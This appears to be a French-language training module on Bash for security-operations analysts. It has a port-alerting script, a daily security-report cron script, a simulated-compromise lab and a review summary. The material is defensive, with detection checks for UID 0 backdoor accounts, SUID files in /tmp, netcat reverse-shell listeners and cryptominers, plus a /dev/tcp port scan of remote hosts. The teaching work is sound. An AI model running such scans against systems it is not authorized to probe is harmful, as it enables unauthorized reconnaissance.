
Ce script scanne les ports ouverts sur une machine locale ou distante, compare avec une liste de ports autorises et alerte en cas de port inconnu.

#!/bin/bash
#============================================================
# port_alerter.sh — Alerteur de ports ouverts non autorises
# Usage : ./port_alerter.sh [host]
#============================================================

HOST=${1:-"localhost"}
LOG="/var/log/port_alerts.log"

# Ports autorises (a personnaliser selon l'environnement)
declare -A ALLOWED_PORTS
ALLOWED_PORTS=(
    [22]="SSH"
    [80]="HTTP"
    [443]="HTTPS"
    [53]="DNS"
    [3306]="MySQL"
)

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

echo -e "${CYAN}=== Scan de ports — $HOST — $(date) ===${NC}"
echo ""

# Recuperer les ports en ecoute
if [[ "$HOST" == "localhost" || "$HOST" == "127.0.0.1" ]]; then
    # Scan local avec ss
    PORTS_OPEN=$(ss -tlnp 2>/dev/null | awk 'NR>1 {print $4}' | grep -oE '[0-9]+$' | sort -un)
else
    # Scan distant avec /dev/tcp (ports courants)
    PORTS_OPEN=""
    SCAN_PORTS="21 22 23 25 53 80 110 135 139 443 445 993 995 1433 3306 3389 5432 5900 8080 8443"
    for PORT in $SCAN_PORTS; do
        (echo > /dev/tcp/$HOST/$PORT) 2>/dev/null && PORTS_OPEN="$PORTS_OPEN $PORT"
    done
fi

UNAUTHORIZED=0
echo -e "${CYAN}Ports ouverts :${NC}"
echo ""

for PORT in $PORTS_OPEN; do
    if [[ -n "${ALLOWED_PORTS[$PORT]}" ]]; then
        echo -e "  ${GREEN}[OK]${NC} Port $PORT (${ALLOWED_PORTS[$PORT]}) — Autorise"
    else
        echo -e "  ${RED}[!!]${NC} Port $PORT — ${RED}NON AUTORISE${NC}"
        PROCESS=$(ss -tlnp 2>/dev/null | grep ":${PORT} " | awk '{print $6}')
        echo -e "       Processus : $PROCESS"
        echo "$(date) UNAUTHORIZED_PORT $HOST:$PORT process=$PROCESS" >> "$LOG"
        ((UNAUTHORIZED++))
    fi
done

echo ""
if [[ $UNAUTHORIZED -gt 0 ]]; then
    echo -e "${RED}[!] $UNAUTHORIZED port(s) non autorise(s) detecte(s) !${NC}"
    echo -e "${YELLOW}    Verifier les processus associes et fermer si necessaire.${NC}"
else
    echo -e "${GREEN}[+] Tous les ports ouverts sont autorises.${NC}"
fi

Script concu pour etre lance chaque jour via cron. Il genere un rapport complet de l'etat de securite du systeme.

#!/bin/bash
#============================================================
# daily_security_report.sh — Rapport de securite quotidien
# Cron : 0 7 * * * /opt/scripts/daily_security_report.sh
#============================================================

REPORT="/tmp/security_report_$(date +%Y%m%d).txt"
HOSTNAME=$(hostname)
DATE=$(date '+%Y-%m-%d %H:%M:%S')

{
echo "=============================================="
echo "  RAPPORT DE SECURITE QUOTIDIEN"
echo "  Hote     : $HOSTNAME"
echo "  Date     : $DATE"
echo "  Uptime   : $(uptime -p 2>/dev/null || uptime)"
echo "=============================================="

echo ""
echo "=== 1. TENTATIVES DE CONNEXION ECHOUEES (24h) ==="
if [[ -f /var/log/auth.log ]]; then
    FAILS=$(grep "Failed password" /var/log/auth.log \
        | awk -v d="$(date -d '1 day ago' '+%b %d' 2>/dev/null || date -v-1d '+%b %d')" '$0 ~ d' \
        | wc -l)
    echo "Total : $FAILS tentatives echouees"
    echo ""
    echo "Top 5 IP :"
    grep "Failed password" /var/log/auth.log \
        | awk '{print $(NF-3)}' \
        | sort | uniq -c | sort -rn | head -5
fi

echo ""
echo "=== 2. CONNEXIONS RESEAU ACTIVES ==="
ss -tn state established 2>/dev/null | awk 'NR>1 {print $5}' \
    | cut -d: -f1 | sort | uniq -c | sort -rn | head -10

echo ""
echo "=== 3. PORTS EN ECOUTE ==="
ss -tlnp 2>/dev/null | awk 'NR>1 {print $4, $6}'

echo ""
echo "=== 4. FICHIERS MODIFIES DANS /etc (24h) ==="
find /etc -type f -mtime -1 -ls 2>/dev/null | head -20

echo ""
echo "=== 5. FICHIERS SUID SUSPECTS ==="
find /tmp /dev/shm /var/tmp -perm -4000 -type f -ls 2>/dev/null
SUID_TMP=$(find /tmp /dev/shm /var/tmp -perm -4000 -type f 2>/dev/null | wc -l)
echo "Fichiers SUID dans les repertoires temporaires : $SUID_TMP"

echo ""
echo "=== 6. UTILISATEURS CONNECTES ==="
who -a 2>/dev/null || w

echo ""
echo "=== 7. ESPACE DISQUE ==="
df -h | grep -vE "tmpfs|udev"

echo ""
echo "=== 8. PROCESSUS SUSPECTS ==="
echo "Processus a forte CPU :"
ps aux --sort=-%cpu 2>/dev/null | head -6
echo ""
echo "Processus dans /tmp ou /dev/shm :"
ps aux 2>/dev/null | grep -E "/tmp/|/dev/shm/" | grep -v grep

echo ""
echo "=============================================="
echo "  Fin du rapport — $DATE"
echo "=============================================="
} > "$REPORT"

echo "[+] Rapport genere : $REPORT"

# Optionnel : envoi par email
# mail -s "Security Report $HOSTNAME $(date +%Y-%m-%d)" soc@corp.local < "$REPORT"

🔬 T1.6 — Lab : Terminal interactif

Pratique les commandes Bash essentielles pour l'analyse de securite. Tape les commandes dans le terminal ci-dessous pour explorer un systeme simule compromis.

Commandes disponibles

Essaie : grep "Failed password" /var/log/auth.log, awk -F: '$3==0' /etc/passwd, bash scan.sh, find /tmp -perm -4000, ss -tulnp, cat /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn, help

bash — Analyse de securite
Linux soc-workstation 5.15.0-91-generic (Ubuntu 22.04 LTS)
Systeme potentiellement compromis — Analyse en cours
analyst@soc:~$
Investigation : trouve les indicateurs de compromission

Ce systeme a ete compromis ! Utilise les commandes pour identifier :

  1. Un compte backdoor avec UID 0 dans /etc/passwd
  2. L'IP source principale de l'attaque (brute force SSH)
  3. Un listener netcat (reverse shell) sur un port suspect
  4. Un cryptominer cache dans /tmp
  5. Une redirection DNS malveillante dans /etc/hosts
  6. Des fichiers SUID suspects dans /tmp

Exercice : associe l'outil a son utilisation

Glisse chaque outil dans la categorie correspondante :

grep -E "Failed|error" auth.log
awk '{print $1, $9}' access.log
sed 's/password/****/g' config.txt
cut -d: -f1,7 /etc/passwd
grep -rl "secret" /etc/
awk -F: '$3==0 {print $1}' /etc/passwd
sed -i 's/PermitRootLogin yes/no/' sshd_config
cut -c1-15 /var/log/syslog
🔍 Filtrage (grep)
📊 Extraction (awk)
✏️ Transformation (sed)
✂️ Decoupage (cut)

📝 T1.7 — Quiz de revision

Points cles du Module T1

  • Bash est le langage de scripting indispensable pour tout professionnel en cybersecurite — present sur 100% des systemes Linux
  • Un script commence toujours par #!/bin/bash (shebang) et doit etre executable (chmod +x)
  • Les variables speciales ($1, $#, $?, $@) permettent de creer des scripts flexibles et parametrables
  • grep filtre, awk extrait des champs, sed transforme, cut decoupe — les 4 piliers de l'analyse de donnees en CLI
  • Le pipeline sort | uniq -c | sort -rn est le compteur universel pour obtenir un classement de n'importe quelle donnee
  • Les one-liners permettent d'analyser rapidement des logs, detecter des anomalies et surveiller un systeme en temps reel
  • Les scripts de monitoring (connexions, ports, integrite) automatisent la detection d'incidents pour le SOC
  • Connaitre les techniques offensives (reverse shells, persistence) est indispensable pour mieux les detecter en Blue Team